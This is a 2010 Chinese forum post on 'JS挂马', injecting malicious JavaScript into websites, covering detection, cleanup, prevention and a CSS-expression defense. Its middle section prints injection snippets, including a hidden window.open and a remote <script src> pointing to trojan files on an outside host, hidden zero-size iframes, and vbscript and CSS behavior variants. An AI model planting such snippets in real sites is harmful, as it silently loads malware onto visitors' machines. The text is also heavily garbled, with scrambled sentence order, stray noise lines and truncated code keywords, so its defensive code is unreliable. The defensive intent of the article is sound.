搜索
查看: 11598|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

6 A3 H/ {. J6 O/ x' q" B

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

7 R/ c- }! u& E! d

IFRAME 和 JS 脚本挂马。

) Q- z2 I# m0 G) G f

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

" g, B% t9 V' z' w

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

. p: x0 |6 ?2 @3 ~ y

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

' W e7 W! q# p4 f( E3 r! @

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

/ I: F+ p* ~- \: t) K7 u

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

, ]; J7 k2 I& `9 v, r

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

T5 D$ ]. R, l) T" _. n

。一千多位会员的 ID

2 Z+ r) E0 i# F1 y. S' \

2: 如何检测网页是否被挂马。

/ v2 Z% Z, t. S3 O2 W2 m

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

% j& {9 J% h" P+ `3 }4 f% |1 Y

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

; y3 N1 C5 P8 ?$ R, ^

因素。
2 googl 检测。>

: u" [! N( [5 d2 d8 R

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

" e* {9 ^3 f3 L7 J

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

: B7 v' A" ] R7 x

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

* G4 i' A, c8 S2 ?& l4 b

5 i8 i% [3 t6 g3 W! I

3: 如何清除网页木马。

% A/ t* k& d! j; |/ P0 B, P) h+ \) w

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

, y. y, \. f9 ?' } x! v

入源文件把相关的网页挂马种类的可疑代码删除。

& E8 l5 o; V/ y) V

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

$ b# z" B5 `. X" l+ |: A

悉。>

8 W' t+ x5 t& u. ~( x; ~

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

: e' {2 D2 v9 B* @" o" v. y" d

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

# H% o6 F2 f% u1 I( n3 Y

2 保证你所使用的顺序及时的更新。

/ \. B+ S6 ?" H. D2 R

3 不要在前台网页上加注后台管理程序登陆页面的链接。

: C; H U8 Y7 U) J: _

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

. j: H, Z" d! q: a

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

8 `9 `+ Y, Q) E) q

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

$ M1 q( D% s; {/ j

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

$ b# j7 V+ C! |" T( f

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

; X! d$ |* r6 W N6 b3 u

0 x) d1 {* f0 k& H8 P# p0 [$ i% ~

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

/ W; `8 I; j% V" L

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

7 e* X K5 ]! ], y+ I; P! b5 y$ q

JS 挂马溯源

V" ~0 r9 K4 d, I% W* q7 b9 U2 m

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

/ s: o/ O/ m, Z6 D" A

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

0 w4 q5 q3 u9 [6 X% o0 M) y

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

) A1 O* f; `" h

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

9 D0 N+ m5 ]# n3 J ^- D

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

. ]- W; w$ y, w7 A, b

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

' u. ]+ @" ^" L( G4 z$ o( \

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

1 H0 k" _: r* g; `( Y+ J

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

& ~+ V% j* S- i

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

( p( a8 Y) E9 _

脚本在工作中会有很大的协助。

; e/ G0 n; D0 Z3 N' B

挂马原理一点通

w+ Q9 J+ T: s; @8 N+ w3 o

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

" K! k8 U* ?: N |; J( L9 q$ J$ J0 F

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

& Y" h& [7 ?+ q8 w+ g8 P% y2 T

无从区分木马在何处。

5 V( C; S! h) E X- I6 n

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

9 B2 U7 M3 g$ A: Q2 V3 e+ G3 v

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

3 a( R" ~0 T: |7 U" _$ q

容易蒙混过关,导致木马久杀不绝。

. w2 @1 L- p8 @5 h

JS 挂马攻防实录

, v) t4 @# r+ ^& \+ L. |# s& G

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

4 V9 C( K/ ~( s+ q3 u# o7 H9 T0 |

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

9 Q( ?' G7 H- H& m% u6 C% }

这种方法使用的关键代码如下:

( a! g- C# G4 z1 d

"",  window.open "http://www.v404.cn/ 木马

$ v+ Z+ k0 i2 l+ n. D% A

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

/ Y# I& Q/ ]' t

4 O- c) A6 t$ E3 v. h

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

; ~+ D7 T' H# g* R4 N

但是设置为 0 后,可能会出现恶意代码不运行的情况。

9 r! }2 M: ?% H5 s

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

1 z+ f- \3 s R; P8 T

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

" @! n9 [3 n9 f8 A

, u) a0 M9 r( o. ~1 z8 |

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

1 A, P- y/ S/ s8 P5 H! j! E; n2 m8 Q

" Y' q. Z8 r1 l; `7 ]

或者

6 s6 ~2 m2 L R! o' |; H

document.writ "<div style='display:none'>"

' P; E" N$ Q- q6 r8 @

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

8 q4 ~& h- O, m' J* V1 G

document.writ "</div>"
 

, h, B( f c, U7 C

! M9 e' i0 O7 G: C

就成功地将木马挂到对方的网页中了

. ^. x" u% x0 F5 n, D, z

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

& D$ a5 w N# n `# f2 N

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

* l4 }+ c) Z/ z1 |2 p

或者:

. s- |) P, p y. E: ~: f

<ifram src="vbscript:[ 挂马脚本 ]">

& D- a# C, |* `. E' s

/ g# F5 o/ e2 W3 ]% h) I


等等 …

7 b) `/ ^6 Y; z

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

w$ h! }0 E/ ?; m) e$ F

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

" e7 T: W' Q* T! G% |. ^& P4 g

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

% j% u h" R: F) V% G5 `

;}

/ T( j2 V _: @3 e% Q; ]$ M3 u

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

; r/ x+ _6 S' S2 o: q

t4 @7 C; Y+ ^& `) l/ Q

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

4 d% b9 z$ }/ y1 r r

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

3 A4 C: B( {$ X' G4 H1 _

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

a+ o6 s- T* V. c2 P& G- K( w2 Y

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

G- Q) J- Q: Q/ ~* b9 K

<title> 让 JS 挂马中止的 CSS 代码 </title>

6 J' U- l7 b/ p2 p5 G

<styl type="text/css" id="shudoo">

v( p# Y, @# V5 h# C+ O* o

/*<![CDATA[*/

4 r: ~% `3 }7 L# D" k% q# X

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

" G% o4 ]9 Y2 {0 N }' x

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

0 S0 E1 u+ D) e4 T s, l

/*]]>*/

M( }5 e# _; \4 w

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表